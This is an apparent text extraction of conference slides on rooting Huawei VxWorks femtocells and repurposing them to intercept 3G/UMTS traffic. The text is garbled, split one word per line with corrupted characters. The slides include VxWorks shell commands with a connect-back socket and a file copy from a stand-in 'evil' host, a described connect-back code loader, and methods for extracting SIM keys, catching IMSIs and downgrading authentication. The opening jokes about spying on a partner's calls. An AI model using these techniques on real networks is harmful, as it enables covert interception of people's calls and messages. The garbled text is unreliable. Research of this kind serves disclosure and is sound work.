GSM networks are compromised for over five years. Starting from passive sniffing of unencrypted traffic, moving to a fully compromised A5/1 encryption and then even to your own base station, we have different tools and opportunities. A Motorola phone retails for only $5 gives you the opportunity to peep into your girlfriend's calls. RTL-SDR retails for $20 which allows you to intercept all two-factor authentication in a medium-sized office building. Lastly, USRP retails for $700 and can intercept almost everything that you can see in 2G.
But who cares about 2G? Those who are concerned switched off of 2G. AT&T is preparing to switch off all its 2G networks by the end of 2016. Even GSMA (GSM Alliance) admitted that security through obscurity is a bad idea (referring to COMP128, A5/*, GEA algorithms and other things). 3G and LTE networks have mandatory cryptographical integrity checks for all communications, mutual authentication both for mobile devices and base station. The opportunity to analyze all protocols and cryptographical primitives due to their public availability is important.
However, the main problem is that we do not have calypso phones for 3G. We do not have cheap and ready to use devices to fuzz 3G devices over the air. Or do we? What about femtocells? Perhaps telecoms are to fast to take their guard down with security considerations embedded in 3G/4G? Users can connect to femocells. and have access the Internet on high speeds, make calls, ect.. Why don't we abuse it?
Yes, there is already research that allows you to gain control over femtocell. There is also research that allows sniffing calls and messages after gaining control. But all such solutions are not scalable. You are still bound to the telecom provider. You still have to connect to a VPN - to a core network. You have to bypass location binding and so on. Perhaps there is an easier solution? Parhaps we can create UMTS-in-a-box from readily available femtocell and have them available in large quantities without telecom-branding? We already know.
We will tell the whole story from unboxing to proof-of-concept data intercept and vulnerabilities in UMTS networks with all your favorite acronyms: HNB, SeGW, HMS, RANAP, SCTP, TR-069.
15. Finding #1: UART
Key
pressed?
Power
up
Boot
to
main
SW
VxWorks
“shell”
Yes
No
Blue
pill
mode
Red
pill
mode
16. Blue pill mode
• Unpacks
main
so*ware
• Ends
up
in
“normal”
mode
Nmap
scan
report
for
172.16.1.1
Host
is
up
(0.0018s
latency).
PORT
STATE
SERVICE
443/tcp
open
hdps
17. Red pill mode
• VxWorks
shell
• Debug
• C
interpreter
• Flash
file
system
access
• Basic
networking
support
18. Red pill mode: Debug
• Full
blown
debugger
• Breakpoints
• Step/step
over/cret
• Stack
trace
• Disasm
19. Red pill mode: Debug
• Other
interes<ng
commands
• Task
management
• Memory
dump
• Memory
edit
• Registers
manipula<on
• File-‐to-‐memory
dump
• Even
symbols
are
here
20. Red pill mode: C interpreter
serv_addr
=
malloc(0x10)
bzero(serv_addr,
0x10)
m
serv_addr,
1
0x00
0x02
0x00
0x51
0xac
0x10
0x01
0xf0
.
sockfd
=
socket(2,
1,
0)
connect(sockfd,
serv_addr,
0x10)
buffer
=
"Hello
BHUSA"
write(sockfd,buffer,strlen(buffer))
Results
in
…
23. Red pill mode: Networking
• Rou<ng
configura<on
• rlogin
and
*p
clients
Example:
-‐>
hostAdd
"tyrell_corp",
"1.3.3.7"
-‐>
netDevCreate
"tyrell_corp:",
"tyrell_corp",
1
-‐>
iam
"JFSebas<an",
"M0r3_Hum4n_7h4n_hum4n"
-‐>
copy
<evil_files:/usr/nexus5/src/life_es<mate.c
24. Red pill mode: Let’s go!
• What’s
running?
Pew!
Pew!
Pew!
Exit
to
Blue
Pill
mode
25. Red pill mode: Oh really?
• They
are
actually
running
• [pre]Red
pill
mode
only
• A*er
we
issue
tr
"Boot2App”
command
or
reboot
to
blue
pill
all
is
lost
Nmap
scan
report
for
172.16.1.1
Host
is
up
(0.0048s
latency).
PORT
STATE
SERVICE
21/tcp
open
*p
23/tcp
open
telnet
17185/udp
open
wdbrpc
26. Red pill mode: Another way in?
• Do
we
actually
need
to
mess
with
UART
every
<me?
• In
fact
ports
are
open
before
jumping
to
Blue
Pill
mode
-‐>
27. Red pill mode: Hunting the memories
• Need
to
find
Blue
Pill
mode
code
• Break
a*er
image
unpacks
• Dump
it
with
“d”
-‐
command
-‐
Not
really
convenient
-‐
Quite
slow
28. Red pill mode: Hunting the memories
• Need
to
find
Blue
Pill
mode
code
• Break
a*er
image
unpacks
• Dump
it
with
wdbrpc
-‐ Binary
output
-‐ Really
fast
-‐ Dumps
the
right
size
-‐ Debug
capabili<es
are
so
close…
29. IDA Pro. Finally!
• Addi<onal
convenience!
• Symbol
table
is
in
place
• Some
python
to
show
‘em
right
Base64(AES(fvZAIeaqIRSkdKeDhOyc/Fit4ltVB81bN7vPpnvsCcZjrIMu0wtKdvYzgAMAyvAu9DdtFu/A5YaWxRAaP0pLhg==),
key)
30. Take a Red Pill after Blue
• We
want
to
execute
our
code
in
Blue
Pill
mode
• There
are
at
least
two
ways:
• Download,
extract,
patch,
pack
and
upload
Blue
Pill
image
–
long
and
boring
• Patch
Blue
Pill
from
the
Red
Pill
in
run<me
–
quick
fun
and
dirty
• Obviously,
we’ve
chosen
the
fun
one!
31. Take a Red Pill after Blue: the fun way
• “Loader”
–
small
asm
snippet
• Wriden
upon
some
func<on
that
is
called
in
Blue
Pill
mode
(we
chose
web
log
in)
• Opens
socket
and
connects
back
• Receives
compiled
C-‐code
• Allocates
memory
• Copies
the
code
• Spawns
the
new
task
from
the
code
• Profit!
32. Not all femtocells are created equal L
• Unfortunately
_older_
firmware
versions
have
some
limita<ons
• No
UART
• No
telnet
• No
wdbrpc
• Is
everything
lost?
• No.
36. Ancient evil has awaken
• So
we
know
that
the
D6121
processor
is
based
on
ARM926EJ
• But
then
what’s
wrong
with
OpenOCD?
37. Ancient evil has awaken
• Actually
it’s
OK
• Closer
look
on
the
board
reveals
things…
Again.
Jumper
IDCODE
no
jumper
0x46121003
jtagmode0
0x0500510d
jtagmode1
0x07926477
==
ARM926EJ
44. VxWorks – conclusions made
Digging
in
telecom
devices
especially
Huawei
;)
We
see
it
everywhere:
• Femtocells
• Usb-‐modems
• Smartphones
• ...
You
may
think
it’s
not
there,
but
it
is.
We
were
not
alone
in
digging
VxWorks
telco:
• Timur
@a66at
Yunusov
• Kirill
@k_v_Nesterov
Nesterov
see
hdps://www.hackinparis.com/sites/hackinparis.com/files/<mur_yusinov_root_via_sms.pdf
47. SeGW
• Security
gateway
• VPN
• Protects
all
connec<ons
over
untrusted
networks
• IPSEC
-‐
Main
mode
• EAP-‐AKA
/
EAP-‐SIM
48. EAP-SIM / EAP-AKA
• EAP-‐SIM
is
based
on
GSM
Authen<ca<on
• Send
RAND
• Get
52-‐64
bits
out
of
Kc
• Repeat
3
<mes
un<l
you
get
enough
key
material
• Encrypt
and
authen<cate
packets
based
on
this
key
• ?????
• Profit
• Challenge-‐response
authen<ca<on
with
secure
element.
Seems
legit.
50. VPN termination
• Take
SIM
card
out
of
femtocell
• Insert
into
SIM
reader
• Create
three
different
pairs
of
RAND:Kc
• Connect
femtocell
to
yourself
any<me,
anywhere
• We
know
what
you
are
thinking.
But
that
would
be
illegal
51. SeGW open source
• StrongSwan
• All
kinds
and
flavors
of
EAP
• EAP-‐SIM-‐File
img
from
hdp://habrahabr.ru/post/250859/
54. Inside tunnel
• New
field
for
adack
• New
IP
address
inside
VPN
• New
open
ports
• New
connec<ons
from
femtocell
over
“secure”
channel
• Different
protocols
• TR-‐069
• SCTP,
HNBAP,
RUA,
RANAP,
DTAP
55. HMS
• Home
Node
B
Management
Server
• Protocol:
TR-‐069
• Ini<al
HMS
• Possibly
checks
authen<ca<on
• Provides
address
to
serving
SeGW
• Serving
HMS
• Checks
geo-‐loca<on
• Provides
configura<on
of
radio
part
• Enables
access
to
HNBGW
57. HNBGW
• Home
Node
B
Gateway
• Really
just
a
gateway
• Receives
RUA
packet
from
femtocell
with
special
header
and
sends
it
where
he
was
told
to.
• When
femtocell
is
connected
to
serving
HNBGW
from
it's
point
of
view
it
is
connected
to
Core
Network
58. Further actions
• Receive
all
packets
• Accept
all
requests
• Hope
that
everything
will
be
fine
• Exploit
everything
exploitable
• ??????
• Profit
60. Protocols (SCTP)
• Stream
Controlled
Transport
Protocol
• Kernel
module
in
Linux
since
…
long
• Userland
bindings
that
hangs
every
second
minute
• But
widely
used
in
telecom
networks
64. Specification
• Everything
is
described
• 5
DVD
disks
with
PDFs
• Over
100000
pages
of
text
• Documents
refer
other
documents,
that
refer
other
documents
and
so
on
65. TS 24.008
• Core
network
protocols
• Describes
integrity
protec<on
of
packets
• No
protec<on
for
• Iden<ty
requests
• Authen<ca<on
requests
66. Identity request
• TS
24.008
(subclause
9.2.15a)
• IMSI
• IMEI
• IMEISV
• TMSI
• The
MM
informa<on
procedure
may
be
invoked
by
the
network
at
any
<me
during
an
RR
connec<on.
67. Identity request
• TS
24.008
• IMSI
–
iden<fies
SIM
card
of
subscriber
• IMEI
–
Iden<fies
mobile
sta<on
of
subscriber
• IMEISV
=
IMEI
• TMSI
68. IMSI catcher stuff
• Surveillance
against
user
is
not
covered
by
mutual
authen<ca<on
in
UMTS
• User
can
be
iden<fied
both
by
SIM
card
and
by
mobile
phone
71. HSTS bypass UMTS style
• MM
Informa<on
–
Time
Zone
and
Time
data
• Server
issued
• No
restric<ons
–
all
data
considered
trusted
72. Pre-auth integrity check bypass
• According
to
spec
–
we
can't
send
any
good
packets
to
mobile
device
without
knowledge
of
keys
• But
bad
code
for
server
should
be
also
considered
fuzzing
• What
if
we
will
send
packets
lidle
bit
out
of
order?
73. “We don't know yet”
• Under
certain
condi<ons
mobile
phone
and
femtocell
ignores
lack
of
integrity
protec<on
• One
of
such
packets
is
SMS
packet
76. Binary SMS
• Gather
Kc
• Update
files
on
SIM
card
file
system
• Install
javacard
applica<ons
• Conduct
DoS
adacks
against
SIM
card
• See
related
researches:
• hdp://bit.ly/1IHsqll
by
Karsten
Nohl
• hdp://bit.ly/1KQTvJs
by
Alexander
Zaitsev
and
Sergey
Gordeychik
77. Authentication and integrity control
• GSM
• Kc
–
ciphering
key
for
A5/*
algorithms
• Proof
of
authen<ca<on
of
client
–
RES
(4
bytes)
• UMTS
• CK
–
ciphering
key
• IK
–
integrity
key
• Proof
of
authen<ca<on
of
client
AND
base
sta<on
–
knowledge
of
IK,
with
which
every
packet
is
“signed”,
RES
is
actually
redundant
78. Authentication in UMTS
• TS
33.102
GSM
AKA
UMTS
AKA
Auth
in
GSM
Normal
behavior
If
available
Auth
in
UMTS
If
allowed
by
USIM
Normal
behavior
79. Authentication in UMTS
• GSM
AKA
for
GSM
–
completely
broken,
rainbow
tables
exist
• UMTS
AKA
for
UMTS
–
main
mode,
protec<on
against
replay
adacks
• UMTS
AKA
for
GSM
–
re-‐usage
of
CK
and
IK
to
create
Kc.
Might
be
considered
secure,
requires
thorough
examina<on
80. GSM AKA for UMTS
• GSM
authen<ca<on.
Yes,
again.
• We
send
into
SIM
128-‐bit
RAND
• We
receive
64-‐bit
Kc
• Now
we
have
to
obtain
128-‐bit
IK
and
128-‐bit
CK
81. GSM AKA for UMTS
• Let's
concatenate
and
XOR
the
same
key
• Effec<vely
decreasing
bruteforce
resistance
to
64-‐bits
• When
the
user
is
adached
to
a
UTRAN,
the
R99+
VLR/SGSN
derives
the
UMTS
cipher/integrity
keys
from
the
GSM
cipher
key
using
the
following
conversion
func<ons:
82. Possible attack vectors
• Use
Kraken
to
obtain
Kc
for
given
RAND
• Remember
pre-‐auth
binary
SMSes?
Access
file
system
to
obtain
Kc
• With
privileged
access
to
certain
TARs
you
can
enable
UMTS
AKA
to
GSM
AKA
downgrade
• Or
just
use
smartcard
reader,
Luke
• Authen<cate
user
on
UMTS
femtocell.
Single
Kc
is
sufficient
to
convince
SIM
that
base
sta<on
is
legi<mate
84. Giveaways
• “UMTS-‐in-‐the-‐box”
toolkit
–
func<onal
SeGW
server,
HMS
server,
HNBGW
server
with
parts
of
core
network.
Toolkit
will
be
sufficient
to
connect
some
of
your
SIMs
to
femtocell
and
receive
SMSes
• Reverse-‐friendly
femtocell
with
firmware
ready
to
be
patched
•
Knowledge
that
not
everything
that
good
and
with
3G
networks.
And
that
they
might
be
ready
of
amateurs
and
specialists
85. Future plans
• Deep
firmware
analysis,
including
DSP
• Mobile
phones
interfaces
fuzzing.
ASN.1
should
be
friendly
for
different
BoF
adacks
• Full
handover
support
• Full
fledged
UMTS
sta<on
for
private
communica<on
(in
different
countries,
where
it
is
possible)
• Fun
86. Kudos
• Kirill
Nesterov
(@k_v_nesterov)
• Gleb
Gritsai
(@repdet)
• Timur
Yunusov
(@a66at)
• Benoit
Michau
(hdp://michau.benoit.free.fr/
for
awesome
library
hdps://github.com/mitshell/libmichfor
python)
• And
all
other
guys!